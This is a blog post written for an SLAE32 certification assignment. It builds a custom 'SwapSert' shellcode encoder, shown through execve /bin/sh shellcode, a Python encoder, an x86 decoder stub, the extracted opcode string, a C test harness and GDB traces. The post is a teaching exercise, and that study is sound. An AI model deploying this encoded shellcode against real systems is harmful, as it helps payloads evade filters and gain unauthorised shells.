SLAE32: Creation of custom encoding scheme


The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990

Assignment #4


Goals

  • Take a simple shellcode that uses execve to spawn /bin/sh and run it through a custom encoder
  • Explain the custom encoder and show it executing

What is an encoder?

An encoder can be defined as an implementation of transforming data from one format to another using a publicly known scheme that can be reversed. That is, it is not a form of encryption but rather a way to compress or change the form of data. In this case, known shellcode will be mangled by both shifting bytes around and inserting bytes. Upon decoding the reverse will happen which will allow the shellcode to run again.

The shellcode to encode

The following shellcode will spawn /bin/sh when executed. This will be the basis of what we will encode with the custom encoder.

global _start			

section .text
_start:

	; PUSH the first null dword 
	xor eax, eax
	push eax

	; PUSH //bin/sh (8 bytes) 
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 11
	int 0x80

The custom encoder

SwapSert Encoder The idea of this encoder is that it will swap two adjacent bytes and then insert a byte. The inserted byte in this example will be 0x7f.

Encoding phase

Step Sequence What is happening?
1 \x41 \x42 \x43 \x44 starting bytes
2 \x42 \x41 \x7f \x43 \x44 swap 1st/2nd bytes and insert byte
3 \x42 \x41 \x7f \x44 \x43 \x7f swap 3rd/4th bytes and insert byte

Example of this being done on the first 8 bytes of our shellcode

Python script to encode a byte array

#!/usr/bin/python

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" \
            b"\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89" \
            b"\xe1\xb0\x0b\xcd\x80"
encoded = ""
encoded2 = ""

print('Encoded shellcode ...')

pos = 0
insert_byte = b"\x7f"
while (pos+1) < len(shellcode):
    encoded += "\\x%02x\\x%02x\\x%02x" 
		% (shellcode[pos+1], shellcode[pos], insert_byte[0])
    encoded2 += "0x%02x,0x%02x,0x%02x," 
		% (shellcode[pos+1], shellcode[pos], insert_byte[0])
    pos += 2

if not pos == len(shellcode):
    encoded += "\\x%02x\\x%02x\\x%02x" 
		% (insert_byte[0], shellcode[pos], insert_byte[0])
    encoded2 += "0x%02x,0x%02x,0x%02x" 
		% (insert_byte[0], shellcode[pos], insert_byte[0])

print("Original: \"" + "".join(map(lambda x: '\\x%02x' % x, shellcode)) + "\"")
print("")
print("Format1: \"" + encoded + "\"")
print("Format2: " + encoded2)

Encoding the shellcode with the python script

[sengen@manjaro-x86 assignment4]$ python3 swapsert-encoder.py 
Encoded shellcode ...
Original: "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Format1: "\xc0\x31\x7f\x68\x50\x7f\x2f\x2f\x7f\x68\x73\x7f\x2f\x68\x7f\x69\x62\x7f\x89\x6e\x7f\x50\xe3\x7f\xe2\x89\x7f\x89\x53\x7f\xb0\xe1\x7f\xcd\x0b\x7f\x7f\x80\x7f"
Format2: 0xc0,0x31,0x7f,0x68,0x50,0x7f,0x2f,0x2f,0x7f,0x68,0x73,0x7f,0x2f,0x68,0x7f,0x69,0x62,0x7f,0x89,0x6e,0x7f,0x50,0xe3,0x7f,0xe2,0x89,0x7f,0x89,0x53,0x7f,0xb0,0xe1,0x7f,0xcd,0x0b,0x7f,0x7f,0x80,0x7f

Decoding phase

Step Sequence What is happening?
1 \x42 \x41 \x7f \x44 \x 43 \x7f starting encoded bytes
2 \x41 \x42 \x44 \x43 \x7f swap 1st&2nd bytes and remove byte
3 \x41 \x42 \x43 \x44 swap 3rd/4th bytes and remove byte

The decoder will acquire a reference to the location of the encoded bytes and perform the reverse actions to transform it back to executable shellcode. To perform this task I started will a skeleton assembly file setup to perform a JMP/CALL/POP so I have the address of the encoded shellcode.

global _start			

section .text
_start:
	jmp short call_shellcode

decoder:
	pop esi

decode:

	jmp short EncodedShellcode

call_shellcode:
	call decoder
	EncodedShellcode: db 0xc0,0x31,0x7f,0x68,0x50,0x7f,0x2f,0x2f,0x7f,0x68,0x73,0x7f,0x2f,0x68,0x7f,0x69,0x62,0x7f,0x89,0x6e,0x7f,0x50,0xe3,0x7f,0xe2,0x89,0x7f,0x89,0x53,0x7f,0xb0,0xe1,0x7f,0xcd,0x0b,0x7f,0x7f,0x80,0x7f 

The process of decoding requires a few things to be tracked: the current location of the last decoded byte, how far out the next set of bytes to grab is, and finally testing 3 bytes ahead for another \x7f byte.

NOTE: If by chance the shellcode is done and the next insert byte check happens to run into a \x7f that is not part of the shellcode it would continue to swap bytes. Low chance, but it could happen. That said, it would not stop the shell from spawning on us and would only matter if the shellcode was back-to-back with additional instructions we needed to execute after the shell was spawned.

Setting up registers and initial values

The first part of our shellcode will save a pointer to the first byte of our encoded shellcode. Since we are performing a JMP/CALL/POP we’ll be able to POP the memory location of the array of bytes we’ll be working with without having to know it’s address beforehand.

EAX/EBX/ECX/EDX are all zeroed out as they will be used for swapping each pair of bytes and for tracking the offset where bytes are to be swapped into next.

decoder:
	pop esi			; save location of encoded shellcode
	xor ebx,ebx		; zero out ebx - used for swapping
	xor ecx,ecx		; zero out ecx - insert byte tracking
	mul ecx			; zero out EAX/EDX - used for swapping
	mov edi,esi		; save encoded shellcode location into edi
	mov cl,2		; location of next expected insert byte

Decode loop

Now we are in the decoding loop where we’ll continue to swap bytes and overshift 0x7f bytes. Our first check will be to determine whether we have a 0x7f byte in the next predetermined location indicating we should perform another swap. If we don’t see it there we’ll conclude that we are done swapping and we should exit the loop.

cmp byte [esi+ecx], 0x7f	; should another swap occur?
jne done					; jump out of loop

Next, we perform a swap. We can’t swap the bytes between memory locations so we save each byte to a register and then save the register value back to opposite memory locations for perform the swap. ECX is tracking the location further ahead where the 0x7f byte is at and the two bytes to swap will always be the two bytes behind it.

mov al, [esi+ecx-2]			; save first byte in pair
mov bl, [esi+ecx-1]			; save second byte in pair
mov [edi], bl				; swap byte
mov [edi+1], al				; swap byte

Finally, we adjust the offset of where the next 0x7f byte is expected and udpate the memory offset of where we would swap the bytes to. We then jump to the beginning of the loop where we test for the existence of the expected 0x7f byte.

add ecx, 3				; the next 0x7f byte should be 3 bytes ahead
add edi, 2				; memory offset for next swap save
jmp short decode			; jump back to the beginning of the loop

Completed decoder in x86 assembly

global _start			

section .text
_start:
	jmp short call_shellcode

decoder:
	pop esi				; save location of encoded shellcode
	xor ebx,ebx			; zero out ebx - used for swapping
	xor ecx,ecx			; zero out ecx - insert byte tracking
	mul ecx				; zero out EAX/EDX - used for swapping
	mov edi,esi			; save encoded shellcode location into edi
	mov cl,2			; location of next expected insert byte

decode:
	cmp byte [esi+ecx], 0x7f	; should another swap occur?
	jne done			; jump out of loop
	mov al, [esi+ecx-2]		; save first byte in pair
	mov bl, [esi+ecx-1]		; save second byte in pair
	mov [edi], bl			; swap byte
	mov [edi+1], al			; swap byte
	add ecx, 3			; the next 0x7f byte should be 3 bytes ahead
	add edi, 2			; memory offset for next swap save
	jmp short decode		; jump back to the beginning of the loop

done:
	jmp short EncodedShellcode

call_shellcode:
	call decoder
	EncodedShellcode: db 0xc0,0x31,0x7f,0x68,0x50,0x7f,0x2f,0x2f,0x7f,0x68,0x73,0x7f,0x2f,0x68,0x7f,0x69,0x62,0x7f,0x89,0x6e,0x7f,0x50,0xe3,0x7f,0xe2,0x89,0x7f,0x89,0x53,0x7f,0xb0,0xe1,0x7f,0xcd,0x0b,0x7f,0x7f,0x80,0x7f 

Compiling, testing, and emmiting shellcode for use

[sengen@manjaro-x86 /]$ nasm -f elf32 ./swapsert-decoder.nasm -o swapsert-decoder.o
[sengen@manjaro-x86 /]$ ld -z execstack -N ./swapsert-decoder.o -o swapsert-decoder

Execute our assembly code to ensure we get our bash shell

[sengen@manjaro-x86 /]$ ./swapsert-decoder
sh-4.4$

We can now extract the shellcode bytes for use in our test C program

[sengen@manjaro-x86 /]$ objdump -d ./swapsert-decoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x28\x5e\x31\xdb\x31\xc9\xf7\xe1\x89\xf7\xb1\x02\x80\x3c\x0e\x7f\x75\x15\x8a\x44\x0e\xfe\x8a\x5c\x0e\xff\x88\x1f\x88\x47\x01\x83\xc1\x03\x83\xc7\x02\xeb\xe5\xeb\x05\xe8\xd3\xff\xff\xff\xc0\x31\x7f\x68\x50\x7f\x2f\x2f\x7f\x68\x73\x7f\x2f\x68\x7f\x69\x62\x7f\x89\x6e\x7f\x50\xe3\x7f\xe2\x89\x7f\x89\x53\x7f\xb0\xe1\x7f\xcd\x0b\x7f\x7f\x80\x7f"

Add our shellcode to our test C program and ensure it runs

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\xeb\x28\x5e\x31\xdb\x31\xc9\xf7\xe1\x89\xf7\xb1\x02\x80\x3c\x0e\x7f\x75\x15\x8a\x44\x0e\xfe\x8a\x5c\x0e\xff\x88\x1f\x88\x47\x01\x83\xc1\x03\x83\xc7\x02\xeb\xe5\xeb\x05\xe8\xd3\xff\xff\xff\xc0\x31\x7f\x68\x50\x7f\x2f\x2f\x7f\x68\x73\x7f\x2f\x68\x7f\x69\x62\x7f\x89\x6e\x7f\x50\xe3\x7f\xe2\x89\x7f\x89\x53\x7f\xb0\xe1\x7f\xcd\x0b\x7f\x7f\x80\x7f";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}
[sengen@manjaro-x86 /]$ ./shellcode
Shellcode Length: 86
sh-4.4$

Watching the stack in GDB

After esp is popped into esi (our encoded shellcode)

gdb$ x/40c $esi
0x40206f <code+47>:	0xc0	0x31	0x7f	0x68	0x50	0x7f	0x2f	0x2f
0x402077 <code+55>:	0x7f	0x68	0x73	0x7f	0x2f	0x68	0x7f	0x69
0x40207f <code+63>:	0x62	0x7f	0x89	0x6e	0x7f	0x50	0xe3	0x7f
0x402087 <code+71>:	0xe2	0x89	0x7f	0x89	0x53	0x7f	0xb0	0xe1
0x40208f <code+79>:	0x7f	0xcd	0xb	0x7f	0x7f	0x80	0x7f	0x0

After first swap

The first and second bytes (0xc0 and 0x31) have been swapped.

gdb$ x/40c $esi
0x40206f <code+47>:	0x31	0xc0	0x7f	0x68	0x50	0x7f	0x2f	0x2f
0x402077 <code+55>:	0x7f	0x68	0x73	0x7f	0x2f	0x68	0x7f	0x69
0x40207f <code+63>:	0x62	0x7f	0x89	0x6e	0x7f	0x50	0xe3	0x7f
0x402087 <code+71>:	0xe2	0x89	0x7f	0x89	0x53	0x7f	0xb0	0xe1
0x40208f <code+79>:	0x7f	0xcd	0xb	0x7f	0x7f	0x80	0x7f	0x0

After second swap

The 4th and 5th bytes (0x68 and 0x50) have been swapped and placed into the 3rd and 4th byte position overwriting the 0x7f. This process of swapping bytes and moving them back against the rest of the shellcode overwriting the 0x7f bytes will continue until the end.

gdb$ x/40c $esi
0x40206f <code+47>:	0x31	0xc0	0x50	0x68	0x50	0x7f	0x2f	0x2f
0x402077 <code+55>:	0x7f	0x68	0x73	0x7f	0x2f	0x68	0x7f	0x69
0x40207f <code+63>:	0x62	0x7f	0x89	0x6e	0x7f	0x50	0xe3	0x7f
0x402087 <code+71>:	0xe2	0x89	0x7f	0x89	0x53	0x7f	0xb0	0xe1
0x40208f <code+79>:	0x7f	0xcd	0xb	0x7f	0x7f	0x80	0x7f	0x0

After last swap

The final bytes are now from 0x40206f to the first byte at 0x402087 (0x80). The rest of the bytes after this are now junk and was the extra space the encoded shellcode was using up due to the 0x7f we’ve been overwriting.

gdb$ x/40c $esi
0x40206f <code+47>:	0x31	0xc0	0x50	0x68	0x2f	0x2f	0x73	0x68
0x402077 <code+55>:	0x68	0x2f	0x62	0x69	0x6e	0x89	0xe3	0x50
0x40207f <code+63>:	0x89	0xe2	0x53	0x89	0xe1	0xb0	0xb	0xcd
0x402087 <code+71>:	0x80	0x7f	0x7f	0x89	0x53	0x7f	0xb0	0xe1
0x40208f <code+79>:	0x7f	0xcd	0xb	0x7f	0x7f	0x80	0x7f	0x0

Finally we jump to the decoded shellcode to execute it.

When you compare this to the original shellcode we started with to encode you’ll see we have turned it back into the same.

=> 0x0040206f <+47>:	xor    eax,eax
   0x00402071 <+49>:	push   eax
   0x00402072 <+50>:	push   0x68732f2f
   0x00402077 <+55>:	push   0x6e69622f
   0x0040207c <+60>:	mov    ebx,esp
   0x0040207e <+62>:	push   eax
   0x0040207f <+63>:	mov    edx,esp
   0x00402081 <+65>:	push   ebx
   0x00402082 <+66>:	mov    ecx,esp
   0x00402084 <+68>:	mov    al,0xb
   0x00402086 <+70>:	int    0x80

Source code

All source code for this assignment can be found at
https://github.com/tdmathison/SLAE32/tree/master/assignment4.

comments powered by Disqus